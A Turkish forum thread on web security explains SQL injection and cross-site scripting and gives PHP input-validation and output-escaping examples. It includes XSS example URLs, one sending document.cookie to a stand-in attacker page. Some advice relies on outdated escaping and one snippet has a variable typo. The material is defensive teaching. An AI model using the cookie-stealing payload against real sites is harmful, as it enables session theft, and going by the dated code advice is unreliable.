Web Uygulamalarında Kullanılan Kodların Güvenliği

Son güncelleme: 11.02.2014 12:32
  • web uygulamanızı yüklediğiniz sunucuların kendi çaplarında bir takım güvenlik uygulamaları vardır fakat bu uygulamalar sunucuda size ait olan web alanın tamamen güvende olduğu anlamına gelmemelidir.veritabanınız ile birlikte kullandığınız web programlama dilinin içeriğindeki kodların güvenliğini sağlamak sunucunuzdan önce sizin sorumluluğunuzdadır.
    özellikle istemci tarafında çalışan kodları abuse etmek daha mümkün olduğudan,bu tür eylemlere tedbir almak ta kaçınılmaz olmaktadır.

    şimdi, web uygulamarında en sık karşılaşılan güvenlik açıkları ve açıklardan yapılan saldırılardan bahsedelim:

    1 - Web Uygulamalarında Sql Sorgularının Değiştirilebilmesi:

    web uygulamalarında bazı bilgilerin tutulabilmesi için sql veritabanları kullanılmaktadır.uygulama geliştiricileri,bazı durumlarda kullanıcılardan gelen verileri beklenen veri türü ile karşılaştırmayarak sql soruları içinde kullanmaktadırlar.genel olrak problemler,uygulama geliştiricinin sql sorgularında anlam ifade edebilecek ' ;UNION gibi kötü niyetli karakterlere karşı bir önlem alınmadığı zaman orataya çıkmaktadır.bu durum kullanıcıya önceden planlanmamış uygulama düzeyide erişim sağlayabilir.içinde sql sorgulama barındıran bir çok ürün sql sorguları değiştirilebilmesine (sql injection) karşı savunmasızdır.saldırganlar sql sorgularını değiştirme tekniklerini web sitelerine ve uygulamalarına zarar vermek amaçlı kullanmaktadırlar.sql enjeksiyon ile saldırgan bir tablo yaratabilir,değişiklikler yapalabilir,veritabanı üzerinde erişim sağlayabilir beya veritabanı kullanıcısının hakları doğrultusunda sunucuda komut çalıştırabilir.

    Çözüm Önerileri :

    Uygulamanın tüm bileşenlerinde kullanılan değişkenler için kontroller oluşturulmalı ve değişkene atanması beklenen veri türü ile kullanıcı girdisi karşılaştırılmalıdır.beklenen girdi türünden farklı karakterler saptanması durumunda, karakterler sql sorfgularında anlam ifade etmeyecek biçimde değiştirilmeli ,silinmeli veya kullanıcıya uyarı mesajı döndürülmelidir.tercihen uygulamanın tamamı için geçerli olacak,değişken türü ve atanabilecek girdi türünü parametre olarak alan ve kontrolleri yaptıktan sonra girdi kabul sonucu üreten sabit bir fonksiyon tercih edilmelidir.

    2 - Web Uygulamalarında Çapraz Kod Çalıştırma (Cross Site Scripting) :

    Başka siteden kod çalıştırma (cross site scripting) açıkları bir saldırganın hedef web sitesi aracılığıyla site ziyaretçilerinin sisteminde komut çalıştırabilmesine olanak tanımaktadır.saldırı sonucu olarak site ziyaretçilerinin browserlarında bulunabilecek güvenlik açıklarının kullanılması , JavaScript/ActiveX ve VbScript komutlarının çalıştırılmasını mümkün kılmaktadır.Bu tür komutlar ile kullanıcıya ait site çerezleri alınabilir, kaydedilmiş şifreler çalınabilir veya browser'da bulunabilecek güvenlik açıkları ile kullanıcı sistemi ele geçirebilir.ayrıca elektronik ticaret veya bankacılık uygulamaları için sahte giriş ekranları oluşturularak ziyaretçilerin yanıltılması ve sonucunda kullanıcıya ait önemli bilgilerin ele geçirilmesi mümkün olabilir.

    Çözüm Önerileri :

    Uygulamanın tüm bileşenlerinde kullanılan değişkenler için kontroller oluşturulmalı ve değişkene atanması beklenen veri türü ile kullanıcı girdisi karşılaştırılmalıdır.Beklenen girdi türünden farklı karakterler (örn. <>/;()) saptanması durumunda, karakterler anlam ifade etmeyecek şekilde değiştirmeli,silinmeli veya kullanıcıya uyarı mesajı döndürülmelidir.Tercihen uygulamanın tamamı için geçerli olacak ,değişken türü ve atanabilecek girdi türünü parametre olarak alan ve kontrolleri yaptıktan sonra girdi kabul sonucu üreten sabit bir fonksiyon tercih edilmelidir.

    Kaynak: www.infosecurenet.com

    Şimdilk paylaşacaklarım bu kadar.yeni kaynaklar buldukça içindekileri derleyip buraya ekleyeceğim.Web programcılığı iel ilgilene tüm arakdaşlarımın bu önemli husustaki katkılarını bekler,kendilerine şimdiden teşekkürlerimi sunarım.



    Yakında,yukarıda özetletmiş iki güvenlik açığı hakkında detaylı örneklerle döneceğim.
#11.02.2014 12:32 0 0 0
  • Çapraz site kod çalıştırma ve önlem alma yöntemleri :

    Site çapında kodlama zaafları Web'e özgü sorunlardır ve istemcinin verilerinin tek bir Web sayfasındaki gedik nedeniyle bozulmasına neden olabilir. Aşağıdaki kod bölümüne bakın:

    <script language=Jscript>
    Response.Write("Hello, " + Request.QueryString("name"));
    </script>

    [bu kodu çalıştırdığınızda browser de name değişkenine karışılık gelen değer alınarak (mesela name = "ali" olsun ) ekranınıza "Hello Ali" yazdıracaktır.]

    Kaçınız böyle bir kodu gördü? Bunun hatalı olduğunu öğrenmek sizi şaşırtabilir! Normal koşullarda, bir kullanıcı bu koda aşağıdakine benzeyen bir URL kullanarak ulaşabilir:

    http://explorationair.com/welcome.asp?name=Michael

    Oysa saldırganlar bu kodu kötü amaçla kullanarak HTML değerini ad olarak sunar. Aşağıdaki URL değerini yazdıysanız

    http://northwindtraders.com/welcome.asp?name=<script>alert('hi!');</script>

    "merhaba" diyen bir iletişim kutusunun bulunduğu bir web sayfasını görüntülersiniz! "Yani?" dediğinizi duyar gibiyim. Saldırganın kullanıcıyı bunun gibi bir bağlantı hattını tıklamaya ikna ettiğini varsayalım, querystring içerdiği kötü amaçlı komutlar ve HTML ile cookie'lerinizi alır ve saldırganın sitesine yapıştırır; saldırgan artık özel cookie bilgilerine ve başka bilgilere sahiptir.

    [ Mesela browser'a :
    http://northwindtraders.com/welcome.asp?name=page.go("http://websitem/cookiekaydet.asp?data="+document.cookie) yazip kullanıcıya cookiedeki bilgileri (ki bunlar kullanıcı adı ve şifre olabilir) alabilirdik. ]

    Bunu önlemek için iki yöntem kullanabilirsiniz: Birinci olarak, girdilere güvenmeyin ve kullanıcı adının sunumu konusunda katı olun. Örneğin, adın sadece ortak karakter alt kümesini içerdiğini ve aşırı büyük olmadığını denetleyen olağan ifadeler kullanabilirsiniz.

    İkinci savunma ise, çıktı olarak kullanıldığında, tüm girdileri HTML-şifreli hale getirmektir. Bu yöntem tehlikeli HTML etiketlerini eler ve daha güvenilir kaçış karakterlerini geride bırakır. Sorun olabilecek dizilerden ASP.NET'te HttpServerUtility.HtmlEncode ile veya ASP'de Server.HTMLEncode ile kaçabilirsiniz.PHP de nasıl olduğunu PHP bilen arkadaşlarımız söylesinler

    -- PHP GÜVENLİĞİ--


    Basit PHP Güvenliği:
    PHP script'lerinizin güvenli olduğundan emin olmanız için ilk olarak temel kuralları yerine getirmeniz gerekiyor: kullanıcı girdilerinin (input) filtrelenmesi ve çıktıların (output) kontrolü. Eğer bu ikisini doğru olarak yapmıyorsanız script'leriniz her zaman güvenlik problemleri ile karşı karşıya olacaktır. Bu makale'de bu iki işlem ile ilgili yapılması gerekenler anlatılıyor.

    Bütün Girileri Filtreleyin:
    Script'leriniz harici bir kaynaktan girdi okuduğunda, bu verinin tehlikeli olduğu varsayılmalı ve güvenilmemelidir. Güvenilmemesi gereken değişkenlerden bazıları: $_POST, $_GET, $_REQUEST ve hatta pek mümkün görünmese de önemli veriler içerebilecek olan $_SERVER .

    Tehlikeli bir değişkenden gelen veriyi işlemlere tabi tutmadan önce ilk olarak önce onaylanamanız ve filtrelemeniz gerekmektedir. Onaylama işlemi ile sadece sizin istediğiniz verileri içerdiğinden emin olabilirsiniz. Örneğin bir eposta adresi bilgisi bekliyorsanız, onay fonksiyon'unuz girilen verinin doğru bir eposta adresi olup olmadığını kontrol etmeli.

    Hemen basit bir örnekle açıklayalım. Aşağıdaki kodda ilk olarak $_POST değişkeninden e-posta adresini alıyorum ve sonra veriyi onaylama işlemine sokuyorum:
    PHP Kodu:
    <?php
    $eposta = $_POST['eposta']; # Burada veri hala TEHLİKELİ durumda

    // Validate e-mail
    if (valid_eposta($eposta) == false) {
    // Geçerli bir adres değil
    die('Geçerli bir eposta adresi değil!');
    }
    ?>

    Veriyi kontrol ederek script'imize tehlikeli verilerin eklenmesi riski büyük ölçüde azaltılmış oldu. valid_eposta() fonksiyon'u PHPit Code Snippet veritabanında da bulunabilecek olan standart bir onay işlemidir.

    Verimiz daha güvenli olsa da işimiz daha bitmedi çünkü hala veriyi MySQL veritabanına yerleştirmek istiyoruz ve bu işlemden önce de bazı kontroller yapmamız gerekiyor. PHP tüm önemli karakterlerin escape edildiği mysql_real_escape_string() standart fonksiyon'unu sunar. Diğer bir yöntem ise SQL sorgusunda veriyi her zaman kesme imleri arasına yerleştirin.

    Önceki örneğimize devam edelim:

    PHP Kodu:
    <?php
    $eposta = $_POST['eposta']; # Burada veri hala TEHLİKELİ durumda

    // Validate e-mail
    if (valid_eposta($eposta) == false) {
    // Geçerli bir adres değil
    die('Geçerli bir eposta adresi değil!');
    }

    // eposta'nın veritabanı için güvenli hale getirilmesi
    $eposta = mysql_real_escape_string($eposta);

    // Artık güvenli!
    ?>

    Artık elimizdeki eposta verisi veritabanına güvenli bir şekilde işlenebilir. Hatalardan kaçınmak için tehlikeli değişkenlere bir ön ek verilebilir, örneğin:
    PHP Kodu:
    <?php
    $t_eposta = $_POST['eposta']; # Tehlikeli

    // Onay işlemi

    $g_eposta = mysql_real_escape_string($d_eposta);
    ?>

    Bu şekilde tehlikeli bir veriyi işleme sokarken ön tarafındaki t_ eklentisi ile hemen farkına varabilirsiniz.

    Çıktıların filtrelenmesi
    Girdilerde olduğu gibi dışarıya sunulan tüm verilerin de (güvenli olarak filtreleyip veritabanına işlediğiniz verilerin dahi) filtrelenmesi gerekmektedir.

    Filtrelenmesi gereken en önemli şey probleme yol açabilecek olan HTML tag'leridir. Bunu yapmanın en kolay yolu bütün HTML'i escape işlemine sokan htmlentities() fonksiyon'udur:

    PHP Kodu:
    <?php
    echo htmlentities($_GET['eposta']);
    ?>

    Bu kod (saldırganın sayfalarınıza JavaScript kodları eklemesine ve diğer kullanıcıların cookie'lerini çalmasını sağlayan) muhtemel XSS (çapraz site betik çalıştırma - cross site scripting) saldırılarını kaldırır. Eğer mümkünse, htmlentities fonksiyon'unun üçüncü argümanı'nı (encoding/charset tipi) da kullanmalısınız. Google'da HTML'i escape işleminde düzgün encoding ayarı yapmadığı için XSS saldırısından etkileniyordu. Google bu açığı 1 aralık'ta kapattı. Basitçe, her zaman encoding tipini belirlemelisiniz:

    PHP Kodu:
    <?php
    echo htmlentities($_GET['eposta'], ENT_QUOTES, 'UTF-8');
    ?>

    Eğer bütün HTML tag'lerini filtrelemek istemiyorsanız, bazı tag'lere izin vermek istiyorsanız strip_tags() fonksiyon'unu kullanabilirsiniz. Fakat bu, <script> tag'lerini filtreleseniz dahi Javascript ekleme açıklarına karşı bir güvenlik problemi içerebilir. ör ( <div onclick="alert('Hi!');"> .

    Diğer bir yöntem de sadece sizin istediklerinizi filtrelemenize yarayacak kendi fonksiyon'unuzu yazmanız (veya internet'teki yüzlerce hazır fonksiyon'dan birini kullanmanız). Bu bazen en iyi yöntem olabilir fakat herhangi bir şeyi unutmanız durumunda güvenlik problemlerine yol açabilir.

    Son olarak, çıktıyı filtrelemenin en iyi yolu, üç argümanı ile birlikte htmlentities() fonksiyonunun kullanımı fakat bununda işlevi sınırlı (ör: formatlama olmaması) kalabilir. Buna çözüm olarak verileri format'lamanızda kullanılabilecek olan kendi HTML kodunuzu yaratabilirsiniz. Kendi HTML kodunuzu yaratma ile ilgili olarak Create your own BBCode, using PHP dokümanına göz atabilirsiniz.

    Sonuç :
    Bu makalede PHP programlamının iki temel ilkesi olan girdi filtreleme ve çıktı filtreleme'den bahsettim. Eğer bu ikisini doğru olarak yapabilirseniz çok güvenli bir PHP script'ine doğru yola çıkmışsınız demektir.

    Verdiğim örnekler çok basit ve hantal. Escape işlemini otomatikleştirmeniz iyi olabilir. Bunun için iyi bir yöntem gerekli işlemleri yapan bir class veya fonksiyon'lar yazmanız.

    PHP güvenliği ile ilgili daha fazla bilgiye ihtiyaç duyuyorsanız aşağıdaki sitelerine göz atabilirsiniz:

    - PHP Security Consortium - Çok sayıda bilgi içeren mükemmel bir güvenlik rehberi. Mutlaka okunmalı.
    - Essential PHP Security - Chris Shiflett'in Essential PHP Security kitabından bilgiler. Kitabın bir kaç bölümü ücretsiz
    - Hardened PHP - Güvenlik bültenlerine yer veriliyor
#11.02.2014 12:32 0 0 0